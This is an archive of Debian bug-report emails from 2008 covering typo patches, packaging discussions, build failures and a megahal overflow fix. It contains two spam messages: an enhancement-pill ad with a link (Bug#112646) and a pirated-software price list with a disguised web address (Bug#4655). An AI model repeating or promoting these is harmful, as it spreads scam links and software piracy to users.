Bug#465200: 'man updatedb' typos: sucessfully x 2, and symblic
Package: mlocate Version: 0.18-2 Severity: minor Tags: patch Found some typos in '/usr/share/man/man8/updatedb.8.gz', see attached '.diff'. Hope this helps... -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) (ignored: LC_ALL set to C) Shell: /bin/sh linked to /bin/dash Versions of packages mlocate depends on: ii adduser 3.105 add and remove users and groups ii libc6 2.7-6 GNU C Library: Shared libraries mlocate recommends no packages. -- no debconf information --- updatedb.8 2007-11-25 10:37:28.0 -0500 +++ /tmp/updatedb.8 2008-02-11 03:23:17.0 -0500 @@ -66,13 +66,13 @@ The whole file system is scanned by default. .BR locate (1) -outputs entries as absolute path names which don't contain symblic links, +outputs entries as absolute path names which don't contain symbolic links, regardless of the form of \fIPATH\fR. .TP \fB\-h\fR, \fB\-\-help\fR Write a summary of the available options to standard output -and exit sucessfully. +and exit successfully. .TP \fB\-o\fR, \fB\-\-output\fR \fIFILE\fR @@ -136,7 +136,7 @@ \fB\-V\fR, \fB\-\-version\fR Write information about the version and licence of .B locate -on standard output and exit sucessfully. +on standard output and exit successfully. .SH EXAMPLES To create a private mlocate database as an user other than \fBroot\fR,
Bug#465205: xfwm4: Please improve keyboard-driven usage
Package: xfwm4 Version: 4.4.2-1 Severity: wishlist Hi, it looks like currently impossible to move a window using only the keyboard, I guess a “move the window” entry could easily be added to the dropdown menu. There might be “resize” too, although I understand that it's a bit more complicated to get a nice UI to specify the border to move. Thanks for considering. Cheers, -- Cyril Brulebois -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: powerpc (ppc) Kernel: Linux 2.6.24-1-powerpc Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages xfwm4 depends on: ii libatk1.0-0 1.20.0-1 The ATK accessibility toolkit ii libc6 2.7-2GNU C Library: Shared libraries ii libcairo2 1.4.10-1+b2 The Cairo 2D vector graphics libra ii libfontconfig1 2.5.0-2 generic font configuration library ii libfreetype62.3.5-1 FreeType 2 font engine, shared lib ii libglib2.0-02.14.4-1 The GLib library of C routines ii libgtk2.0-0 2.12.1-3 The GTK+ graphical user interface ii libice6 2:1.0.4-1X11 Inter-Client Exchange library ii libpango1.0-0 1.18.4-1 Layout and rendering of internatio ii libpng12-0 1.2.15~beta5-3 PNG library - runtime ii libsm6 2:1.0.3-1+b1 X11 Session Management library ii libstartup-notification 0.9-1library for program launch feedbac ii libx11-62:1.0.3-7X11 client-side library ii libxcomposite1 1:0.3.2-1+b1 X11 Composite extension library ii libxdamage1 1:1.1.1-3X11 damaged region extension libra ii libxext61:1.0.3-2X11 miscellaneous extension librar ii libxfce4mcs-client3 4.4.2-1 Client library for Xfce4 configure ii libxfce4mcs-manager34.4.2-1 Manager library for Xfce4 configur ii libxfce4util4 4.4.2-1 Utility functions library for Xfce ii libxfcegui4-4 4.4.2-1 Basic GUI C functions for Xfce4 ii libxfixes3 1:4.0.3-2X11 miscellaneous 'fixes' extensio ii libxrandr2 2:1.2.2-1X11 RandR extension library ii libxrender1 1:0.9.4-1X Rendering Extension client libra ii zlib1g 1:1.2.3.3.dfsg-7 compression library - runtime Versions of packages xfwm4 recommends: ii librsvg2-common 2.18.2-1 SAX-based renderer library for SVG ii xfce4-mcs-manager 4.4.2-1Settings manager for Xfce4 ii xfwm4-themes 4.4.2-1Theme files for xfwm4 -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465202: Please make it possible to use liferea only with the keyboard
Package: liferea Version: 1.4.11-1 Severity: wishlist Hi, currently, once a folder has been selected on the left pane, it's only possible to reach with the “tab” key: the toolbar and its buttons, then the left pane with all subscriptions, and once one has been selected, the next “tab” press moves to the the headers of the item list on the right top pane, and it's no longer possible to cycle to the next item, nor to get back using “shift-tab”. I know there's Ctrl-N to work around that a bit, but that doesn't make it possible to skip this or that subscription so as to jump to another one, like one could do by using the arrows in the left pane. Thanks for considering. Cheers, -- Cyril Brulebois -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: powerpc (ppc) Kernel: Linux 2.6.24-1-powerpc Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages liferea depends on: ii gconf2 2.20.1-1 GNOME configuration database syste ii libatk1.0-0 1.20.0-1 The ATK accessibility toolkit ii libc6 2.7-2GNU C Library: Shared libraries ii libcairo2 1.4.10-1+b2 The Cairo 2D vector graphics libra ii libdbus-1-3 1.1.1-3 simple interprocess messaging syst ii libdbus-glib-1-20.74-1 simple interprocess messaging syst ii libgcc1 1:4.2.2-4GCC support library ii libgconf2-4 2.20.1-1 GNOME configuration database syste ii libgcrypt11 1.4.0-3 LGPL Crypto library - runtime libr ii libglade2-0 1:2.6.2-1library to load .glade files at ru ii libglib2.0-02.14.4-1 The GLib library of C routines ii libgnutls13 2.0.4-1 the GNU TLS library - runtime libr ii libgtk2.0-0 2.12.1-3 The GTK+ graphical user interface ii libice6 2:1.0.4-1X11 Inter-Client Exchange library ii liblua5.1-0 5.1.2-4 Simple, extensible, embeddable pro ii libnm-glib0 0.6.5-3 network management framework (GLib ii libnotify1 [libnotify1- 0.4.4-3 sends desktop notifications to a n ii libnspr4-0d 4.7.0~1.9b1-1NetScape Portable Runtime Library ii liborbit2 1:2.14.10-0.1libraries for ORBit2 - a CORBA ORB ii libpango1.0-0 1.18.4-1 Layout and rendering of internatio ii libsm6 2:1.0.3-1+b1 X11 Session Management library ii libsqlite3-03.4.2-2 SQLite 3 shared library ii libstdc++6 4.2.2-4 The GNU Standard C++ Library v3 ii libx11-62:1.0.3-7X11 client-side library ii libxml2 2.6.30.dfsg-3GNOME XML library ii libxslt1.1 1.1.22-1 XSLT processing library - runtime ii libxul0d1.8.1.9-2Gecko engine library ii zlib1g 1:1.2.3.3.dfsg-7 compression library - runtime Versions of packages liferea recommends: ii curl 7.17.1-1 Get a file from an HTTP, HTTPS or ii dbus 1.1.1-3simple interprocess messaging syst ii dbus-x11 1.1.1-3simple interprocess messaging syst ii gwget 0.99-2 GNOME front-end for wget ii wget 1.10.2-3 retrieves files from the web -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#459729: ITP: pyglet -- a cross-platform windowing and multimedia library for Python
On Feb 11, 2008 7:04 AM, Michael Hanke [EMAIL PROTECTED] wrote: Hi Ondrej, On Mon, Feb 11, 2008 at 12:33:28AM +0100, Ondrej Certik wrote: At the moment pyglet is included in the python-sympy package. As it can be viewed as a pygame replacement sympy maintainers agree that it should be packaged separately. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=459716 The final package will be maintained by the pkg-exppsy project on alioth. Could you please maintain pyglet in the Debian Python Modules Team (DPMT)? http://wiki.debian.org/Teams/PythonModulesTeam This is so that it's easy for the DPMT members to manage and make changes to all python modules. For example when a python policy changes, or we switch from python2.4 to python2.5 etc. Sure I would, but read on. Upstream has released a new version that works with sympy. Any progress in packaging it? I have a package for 1.0. But I failed to convince upstream the put the documentation sources into the source tarball. He seems to be pretty much set with respect to what people need and what not. Therefore the sources have to be repackages (removed docs) or a new source distribution has to be compiled from the upstream source SVN. I see. No problem, let's repackage upstream by deleting the doc directory I do that by adding a target get-orig-sources in the debian/rules, which does that for me. At the moment I am (re)evaluating whether I want to do that or go with pygame. In sympy, we use svn, but for Debian I recommend to package the latest released version (with deleting the doc dir), so that all is clear which version we have. If you or the DPMT want to take over, please feel free to do so: http://git.debian.org/?p=pkg-exppsy/pyglet.git;a=summary OK, I'll take over it. The only problem is that DPMT uses svn for all it's packages. So I just start initialize it with your latest git version, is that ok? Ondrej -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465204: ITP: fusil -- Fuzzing program to test applications
Package: wnpp Severity: wishlist Owner: Pierre Chifflier [EMAIL PROTECTED] * Package name: fusil Version : 0.7 Upstream Author : Victor Stinner [EMAIL PROTECTED] * URL : http://fusil.hachoir.org * License : GPLv2 Programming Lang: Python Description : Fuzzing program to test applications Fusil project is a fuzzing program for any project type (remote process, fake HTTP server, fuzz network socket, etc.). Fusil implementation is based on multi-agent system architecture. Fusil is able to crash ClamAV, Image Magick, libc printf(), Mplayer, PHP, RPM, xterm, libc gettext, libc environment variables, libpoppler (pdf), vim, etc -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.24-1-amd64 (SMP w/1 CPU core) Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465195: nexuiz: Hardcoded dependencies on shared libraries
hi, the dlopen()s result from the darkplaces author's kind of development. the darkplaces engine is an extended version of id software inc.'s quake1 game engine. so darkplaces can be used to interpret not only the commercial quake1 game media, but also nexuiz and there should exist a bunch of other games, darkplaces can be used for. all of the different games vary in the libraries they need, for example ogg vorbis support is mandatory for nexuiz but obsolete for quake1 - you can use the same binary for all the games supported without recompiling and if the engine finds the ogg library it will open it, otherwise it will simply go on. as upstream also wants to ship precompiled binaries, they're not interested in offering a set of differently compiled and linked libraries. i think that were the main points upstream pointed out, when i started the very same discussion on IRC 1,5 years ago :) i tried to patch the sources, but i didn't manage to get everything working. i contacted upstream on IRC again: (10:52:44) Fuddl: someone filed the why not link directly against libraries bug. /me has a déjà vu ;) (10:53:34) esteel: didn't divVerent invent a makefile option for this? (10:54:14) Fuddl: did he? is it available in 2.3? (10:59:05) divVerent: Fuddl: no (10:59:56) Fuddl: divVerent: will it be in the next release? (11:00:13) divVerent: no (11:00:22) divVerent: only a half solution exists (11:00:32) divVerent: namely, linking against the libs with -l and finding its functions using self-dlopen that's the current state, maybe at least nexuiz upstream will patch the darkplaces sources in the future... cheers - fuddl signature.asc Description: PGP signature
Bug#465222: libgsm: long term mass bug filing for cross build support.
Package: libgsm Version: 1.0.12-1 Severity: wishlist Tags: patch User: [EMAIL PROTECTED] Usertags: crossbuilt In line with the other cross-building support bugs: http://lists.debian.org/debian-devel/2007/11/msg00116.html This patch is necessary to allow libgsm to cross-build in Debian, following recommendations from autotools-dev. *** ../crossbuild.diff --- libgsm-1.0.12.debian/debian/rules +++ libgsm-1.0.12.emdebian/debian/rules @@ -3,6 +3,13 @@ include /usr/share/dpatch/dpatch.make .PHONY: build clean binary binary-indep binary-arch +DEB_HOST_GNU_TYPE=$(shell dpkg-architecture -qDEB_HOST_GNU_TYPE) +DEB_BUILD_GNU_TYPE=$(shell dpkg-architecture -qDEB_BUILD_GNU_TYPE) +ifneq ($(DEB_HOST_GNU_TYPE),$(DEB_BUILD_GNU_TYPE)) +CROSS=CC=$(DEB_HOST_GNU_TYPE)-gcc +else +CROSS= +endif ifeq ($(DEB_HOST_ARCH),arm) MULTYPE='' @@ -13,7 +20,7 @@ build: build-stamp build-stamp: patch-stamp dh_testdir - $(MAKE) CCFLAGS='-c -g -O2 -fPIC -Wall -D_GNU_SOURCE -D_REENTRANT -DNeedFunctionPrototypes=1 -DWAV49' MULHACK=$(MULTYPE) all + $(MAKE) $(CROSS) CCFLAGS='-c -g -O2 -fPIC -Wall -D_GNU_SOURCE -D_REENTRANT -DNeedFunctionPrototypes=1 -DWAV49' MULHACK=$(MULTYPE) all touch build-stamp clean: unpatch @@ -28,7 +35,7 @@ dh_clean -k dh_installdirs mkdir -p debian/tmp/usr/lib debian/tmp/usr/bin - $(MAKE) INSTALL_ROOT=debian/tmp/usr GSM_INSTALL_INC=debian/libgsm1-dev/usr/include/gsm GSM_INSTALL_MAN=debian/libgsm1-dev/usr/share/man/man3 TOAST_INSTALL_MAN=debian/libgsm-tools/usr/share/man/man1 install + $(MAKE) $(CROSS) INSTALL_ROOT=debian/tmp/usr GSM_INSTALL_INC=debian/libgsm1-dev/usr/include/gsm GSM_INSTALL_MAN=debian/libgsm1-dev/usr/share/man/man3 TOAST_INSTALL_MAN=debian/libgsm-tools/usr/share/man/man1 install ln -s gsm/gsm.h debian/libgsm1-dev/usr/include/gsm.h cp inc/*.h debian/libgsm1-dev/usr/include/gsm mv lib/*so debian/libgsm1-dev/usr/lib -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: amd64 (x86_64) Kernel: Linux 2.6.24-1-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash signature.asc Description: Digital signature
Bug#373669: aclocal grabs unneeded/unwanted macros
reassign 373669 automake1.4 thanks * Bill Allombert ([EMAIL PROTECTED]) wrote: On Sun, Aug 06, 2006 at 12:25:24AM -0400, Eric Dorland wrote: * Bill Allombert ([EMAIL PROTECTED]) wrote: Package: automake1.7 Version: 1.7.9-7 Severity: normal File: /usr/bin/aclocal-1.7 Hello Eric, when running aclocal (1.7 but also with 1.4), it grabs macros that does not seems wanted and have problematic side-effect. Let configure.in be just AC_INIT(test.c) AM_INIT_AUTOMAKE(test,0) or even the empty file. now run aclocal, you get a different aclocal.m4 whether you have gettext installed or not. In particular, if you have gettext installed, it will get a AC_PREREQ([2.54]) which will break if you are using an older version of autoconf, while everything would work fine if gettext was not installed. So i have some questions: 1) why aclocal is adding macros to aclocal.m4 even if configure.in is empty ? 2) can I disable the use of third-party .m4 file (i.e. only use the one shipped with automake) ? Does this happen with automake1.9 as well? Well, I have rechecked the five automake version in etch and it seems that currently only aclocal-1.4 has this problem, so this bug should probably be reassigned to automake1.4 Thanks, reassigning. -- Eric Dorland [EMAIL PROTECTED] ICQ: #61138586, Jabber: [EMAIL PROTECTED] signature.asc Description: Digital signature
Bug#465208: Acknowledgement (refpolicy: Exim policy module not installed due to module/package name mismatch)
Meh. Now that I patch that and actually install the module, I find that it doesn't do anything, because somewhere along the chain of patching and checking the Debian-compatible paths got dropped off. I submitted a ticket to upstream's trac, but in the meantime if you plan on staying with the 20071214 release for a while, you might patch in the real paths (attached). -- Devin \ aqua(at)devin.com, IRC:Requiem; http://www.devin.com Carraway \ 1024D/E9ABFCD2: 13E7 199E DD1E 65F0 8905 2E43 5395 CA0D E9AB FCD2 Index: exim.fc === --- exim.fc (revision 2596) +++ exim.fc (working copy) @@ -1,4 +1,4 @@ -/usr/sbin/exim -- gen_context(system_u:object_r:exim_exec_t,s0) -/var/log/exim(/.*)? gen_context(system_u:object_r:exim_log_t,s0) -/var/run/exim.pid -- gen_context(system_u:object_r:exim_var_run_t,s0) -/var/spool/exim(/.*)? gen_context(system_u:object_r:exim_spool_t,s0) +/usr/sbin/exim[0-9]? -- gen_context(system_u:object_r:exim_exec_t,s0) +/var/log/exim[0-9]?(/.*)? gen_context(system_u:object_r:exim_log_t,s0) +/var/run/exim[0-9]?\.pid -- gen_context(system_u:object_r:exim_var_run_t,s0) +/var/spool/exim[0-9]?(/.*)? gen_context(system_u:object_r:exim_spool_t,s0) signature.asc Description: Digital signature
Bug#454212: megahal segfaults as soon as it's launched
Niko Tyni wrote: Confirmed using etch i386 (though an amd64 processor). Attached output of megahal and strace. The attached patch fixes a stack corruption issue on 64-bit architectures (reading 8 bytes into a 4-byte buffer) and an off-by-one sprintf overflow in the error and status file name initialization code. The stack corruption makes megahal reliably crash for me on amd64 every time it tries to load a saved dictionary. However, the original problem is on i386 and happens earlier in the initialization code. I can't reproduce it myself, but I think it might well be caused by the sprintf overflow. Note that Neil's strace in http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=27;filename=megahal.trace.log;att=1;bug=454212 has open(/home/nmcgovern/.megahal/megahal.logi, O_WRONLY|O_APPEND|O_CREAT, 0666) = 3 and -rw-r--r-- 1 nmcgovern users 380 2007-12-19 11:37 megahal.logi? while the intended filename is megahal.log. So there's definitely at least some corruption happening here. Could somebody (Neil?) try if the bug persists with this patch? Confirmed that this patch fixes the issue, at least on the version in Etch. This issue probably qualifies for a stable point update (-release in cc). I can prepare a package if you want. Cheers, Neil -- Neil McGovern SQA - Amino Communications -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465261: linux-uvc-source: Doesn't build with Linux 2.6.24
Package: linux-uvc-source Version: 0.1.0.svn120-2 Severity: grave Justification: renders package unusable Hi, I tried to do 'm-a a-i linux-uvc-source' today to rebuild the module for the new 2.6.24 kernel package in Debian and it failed with: Building USB Video Class driver... make[3]: Entering directory `/usr/src/linux-headers-2.6.24-1-686' CC [M] /usr/src/modules/linux-uvc/uvc_driver.o /usr/src/modules/linux-uvc/uvc_driver.c: In function ‘uvc_register_video’: /usr/src/modules/linux-uvc/uvc_driver.c:1451: error: ‘struct video_device’ has no member named ‘hardware’ make[4]: *** [/usr/src/modules/linux-uvc/uvc_driver.o] Error 1 make[3]: *** [_module_/usr/src/modules/linux-uvc] Error 2 make[3]: Leaving directory `/usr/src/linux-headers-2.6.24-1-686' make[2]: *** [uvcvideo] Error 2 make[2]: Leaving directory `/usr/src/modules/linux-uvc' make[1]: *** [binary-modules] Error 2 make[1]: Leaving directory `/usr/src/modules/linux-uvc' It seems upstream r141 might fix this, but I haven't tried it. HTH, Uwe. -- http://www.hermann-uwe.de | http://www.holsham-traders.de http://www.crazy-hacks.org | http://www.unmaintained-free-software.org -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465213: reprepro: please add a --pooldir option
* Andreas Beckmann [EMAIL PROTECTED] [080211 10:57]: the pooldir is currently the only directory that can't be moved out of the basedir by some configuration option. In my setup I like to have everything in basedir (== .) except distdir and pooldir that are moved to a documentroot of the webserver (on the same partition as the basedir). The reason for this is that the location of the pool is quite fixed (as pool/ is written in index files). So I either have to meddle with filenames, or make the pooldir the top-level directory, as it currently is. Currently I use a symlink for the pooldir. Of course there are other possibilities, e.g. using Alias directives in Apache to get only the two required directories from the basedir out to the web ... Another way is to set pooldir confdir and dbdir in conf/options. Then basedir is only used for the pool. Perhaps I should just rename them somehow, but I don't yet have ideas how. Hochachtungsvoll, Bernhard R. Link -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462590: Debian bug report #462590 xserver-xorg
On Sat, 2008-02-09 at 16:35 +0100, Wolfgang Ruth wrote: Brice Goglin schrieb: Ok, your system does not seem to like AGP 8x. Please remove BusType PCI and try Option AGPMode 4 I tried this option and I had no problems with it. I had a look into the hardware description of my DELL notebook and it says that the graphic card supports AGPx8. I also had no problems with this card using the proprietary ATI fglrx driver on a another system partition with a Kanotix system for more than 18 months. fglrx has AGP chipset specific tweaks which aren't feasible in the radeon driver. Unfortunately, we haven't found a failsafe default AGP configuration that works everywhere, the most reliable one seems to be to leave the rate unchanged from what the BIOS set it to. So if that doesn't work for you, I'm afraid you'll have to change it in the BIOS setup or xorg.conf. -- Earthling Michel Dänzer | http://tungstengraphics.com Libre software enthusiast | Debian, X and DRI developer
Bug#437354: libqt4-dev: Put qmake into its own package
Evgeni Golov [EMAIL PROTECTED] writes: Hi, are there any updates on this? I maintain pokerth which needs qmake4, libqt4-core and libqt4-gui, but not -sql, -qt3support etc. At the moment it build-depends on libqt4-dev which fetches way too much stuff in during building, what is annoying :) I don't see any compelling reason to split out qmake, and doing so now would probably break some package builds. I think this should be closed or tagged wontfix. -- Captain Logic is not steering this tugboat. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#112646: How to sizzle between the sheets
Want a bigger monster in your pants? Here is the solution! http://vnkenseel.com/
Bug#465289: miscfiles: International airport codes
Package: miscfiles Version: 1.4.2.dfsg.1-7 Severity: wishlist Please include international airport codes in /usr/share/misc/airport.gz. Thanks, Shaun -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#461889: closed by Brice Goglin [EMAIL PROTECTED] (Re: Bug#461889: xserver-xorg-core: broken dependencies)
Hi Brice! Brice Goglin wrote: Hi Bernhard, There is no bug here. Ahh, that's good to hear. I hope this means I can 'apt-get dist-upgrade' without having my xserver packages removed. You had the xserver-xorg-input-wacom package installed and it was preventing the upgrade from working properly. Yes, the dependencies in the X packages are complex, but they are needed to make sure people won't loose any package. They've been discussed and improved a lot already (and may well get simplified even more if the xserver-xorg package becomes completely useless). All this works fine as long as you don't have any borderline package such as wacom blocking things (it's not maintained by us, so it may be outdated sometimes). I don't care about the xserver-xorg-input-wacom package, since I don't have a tablet. But I can't get rid of it: So, what do you recommend me to do? I tried ... b:/etc/apt# apt-get update b:~# apt-get remove xserver-xorg-input-wacom Will remove all (or most of) my xserver packages. b:~# dpkg -r xserver-xorg-input-wacom xserver-xorg-input-all depends on xserver-xorg-input-wacom. b:~# dpkg -r xserver-xorg-input-all xserver-xorg depends on xserver-xorg-input-all | xserver-xorg-input; however: Package xserver-xorg-input-all is to be removed. Package xserver-xorg-input is not installed. b:~# apt-get install xserver-xorg-input Package xserver-xorg-input is a virtual package provided by: xserver-xorg-input-void 1:1.1.0-2 xserver-xorg-input-vmmouse 12.4.0-2 xserver-xorg-input-ur98 1:1.1.0-2 xserver-xorg-input-tek4957 1:1.1.0-2 xserver-xorg-input-summa 1:1.1.0-2 xserver-xorg-input-spaceorb 1:1.1.0-2 xserver-xorg-input-palmax 1:1.1.0-1 xserver-xorg-input-mutouch 1:1.1.0-1 xserver-xorg-input-magictouch 1:1.0.0.5-3 xserver-xorg-input-magellan 1:1.1.0-1 xserver-xorg-input-jamstudio 1:1.1.0-1 xserver-xorg-input-hyperpen 1:1.1.0-1 xserver-xorg-input-fpit 1:1.1.0-1 xserver-xorg-input-elographics 1:1.1.0-1 xserver-xorg-input-digitaledge 1:1.1.0-1 xserver-xorg-input-aiptek 1:1.0.1-3 xserver-xorg-input-acecad 1:1.2.0-1 You should explicitly select one to install. b:~# apt-get install xserver-xorg-input-void xserver-xorg-input-void: Depends: xserver-xorg-core (= 2:1.1.1) but it is not going to be installed b:/etc/apt# apt-get install xserver-xorg-core xserver-xorg-core: Depends: xserver-xorg but it is not going to be installed b:/etc/apt# apt-get install xserver-xorg xserver-xorg is already the newest version. What do you recommend me to do? If there is no solition, I suggest to call it a bug. cheers, Brice Bernhard -- Please encrypt all emails GPG Key (ID F732FBF3 E4219D48) available on public key servers and http://bksys.at/bernhard/E4219D48.pgp Fingerprint E18F BF4D 0EE2 6522 E950 A06A F732 FBF3 E421 9D48 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465273: doesnt update /etc/readahead/*
[Holger Levsen] I'm running a etch system, with a 2.6.21-2 from bpo, and selfmade readahead and usplash backports. Does this kernel have inotify support? I believe that is the kernel feature used by readahead for profiling, and it was added after the 2.6.18 etch kernel. Do not remember exactly when. Happy hacking, -- Petter Reinholdtsen -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#440789: Probably fixed in 1.2.10~pre1-1
Hi, I believe this bug may be fixed in 1.2.10~pre1-1, which I just uploaded. It would be nice if someone can try this on amd64 and post the results. -- Wesley J. Landaker [EMAIL PROTECTED] xmpp:[EMAIL PROTECTED] OpenPGP FP: 4135 2A3B 4726 ACC5 9094 0097 F0A9 8A4C 4CD6 E3D2 signature.asc Description: This is a digitally signed message part.
Bug#465177: FTBFS: configure: error: unable to configure inotify support
On Monday 11 February 2008 6:14:31 am Sergey 'Jin' Bostandzhyan wrote: Hi, I'm one of the authors of MediaTomb, here is some info on this: do not pass the --enable-inotify parameter to the configure script; presence of inotify will be detected automatically, if not available it will be disabled on the fly. However, when the --enable-inotify parameter is passed by the user, configure will abort with the error that you are seeing if inotify checks fail. This is done on purpose so that no package on a different architecture/kernel builds packages sucessfully with a different set of options enabled, else I'm sure there would be a different set of bugs sooner or later. The inotify option is not enabled for any non-linux kernel using machine. The parameters passed to the configure script can be manually overridden by a user, but they won't be for the buildd machines. What I still need to do is, to adapt the inotify check for cross compiling, right now it will always fail when cross compiled. Actually, no cross compiling is done. The powerpc buildd machine is a powerpc machine. The same goes for the other buildd machines. I hope that info helps. Kind regards, Jin -- Regards, Andres -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#459281: Still present with recent gcj
Hello, Michael Koch wrote: On Mon, Feb 04, 2008 at 10:19:26AM +0100, Vincent Fourmond wrote: For information, libjfreechart-java still does not work with gcj 4.3-20080202-1. I have tested 4.3-20080116-1 and 4.3-20080202-1 locally and both worked. The generated image is slightly different to the one generated by SUN but that was to be expected. I wonder if you missed the libgcj9-0-awt package in your installation? Unfortunately, not. I checked again, specifically including the awt library in the classpath (at run-time, does not seem to work at build-time), and I still get a garbled output. Are you using an amd64 architecture ? Could that be a 64bits-only problem ? Cheers, Vincent, sorry that it does not work better. -- Vincent Fourmond, Debian Developer http://vince-debian.blogspot.com/ -- pretty boring signature, isn't it ? -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465055: php-ps: FTBFS: libgd2-dev not available anymore.
Uwe Steinmann wrote: On Sun, Feb 10, 2008 at 01:32:40PM +0100, Kurt Roeckx wrote: You have a build dependency on: libgd2-dev ( 2.0.0) | libgd2-xpm-dev ( 2.0.0) | libgd2-noxpm-dev ( 2.0.0) The buildd's will only consider the first of those, and then fail. You'll want to remove that part. Is this specific for the buildds or the above dependency line in general the wrong approach? I would say both. The reason buildds don't parse the alternative build dependencies is because the build has to be reproducible over time. If you want builds that are reproducible over time, alternative build dependencies don't make sense at all as that would mean it depends on the environment at the time of the build what the outcome of the actual build dependency is... Cheers Luk -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#4655: /\dobe |ndesign cs3 'save 2542'
symantec norton antivirus 10.1 for mac - 29 sonic scenarist 3.0 - 49 corel painter ix for mac - 39 softimage alienbrain 8 - 169 borland developer studio 2006 - 149 microsoft visio 2007 professional - 39 steinberg nuendo 3.1 - 99 parallels desktop 3.0 for mac - 29 cakewalk sonar 6 producer edition - 69 microsoft frontpage 2003 - 29 +ype 'getmicrosoftfast .com' !n your Internet Exp1orer Take off ' before you +ype !n your Internet Exp1orer creative suite 3 design premium for win - 269 symantec norton 360 - 29 mcafee desktop firewall 8.0.493 - 39 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465319: firehol can't find kernel config
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Package: firehol Version: 1.231-7 Severity: normal Firehol can't find the kernel configuration of linux-image-2.6.18-6-xen-amd64. if I try to (re)start it, it tells me: Restarting Firewall configuration: IMPORTANT WARNING: -- FireHOL cannot find your current kernel configuration. Please, either compile your kernel with /proc/config, or make sure there is a valid kernel config in /lib/modules/2.6.18-6-xen-amd64/build/.config, /usr/src/linux/.config or /boot/config-2.6.18-6-xen-amd64 Because of this, FireHOL will simply attempt to load all kernel modules for the services used, without being able to detect failures. done. The config is stored in /proc/config.gz. Extracting and copying it to one of the directories from above solves it. But it would be nice if this would work out of package. - -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-6-xen-amd64 Locale: LANG=de_CH.UTF-8, LC_CTYPE=de_CH.UTF-8 (charmap=UTF-8) Versions of packages firehol depends on: ii bash3.1dfsg-8The GNU Bourne Again SHell ii iproute 20061002-3 Professional tools to control the ii iptables1.3.6.0debian1-5 administration tools for packet fi ii net-tools 1.60-17 The NET-3 networking toolkit Versions of packages firehol recommends: ii module-init-tools 3.3-pre4-2 tools for managing Linux kernel mo ii wget 1.10.2-2 retrieves files from the web - -- no debconf information -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHsK1s7ycmeUok62kRAhXTAKCIXPIYLtxB0pEFXzaXMkxq3e83NwCfQQj/ zXge5JTVKkHaurRuhMN/X54= =YEO0 -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#465320: CD doesn't boot (Isolinux errors) on 486 with Adaptec SCSI
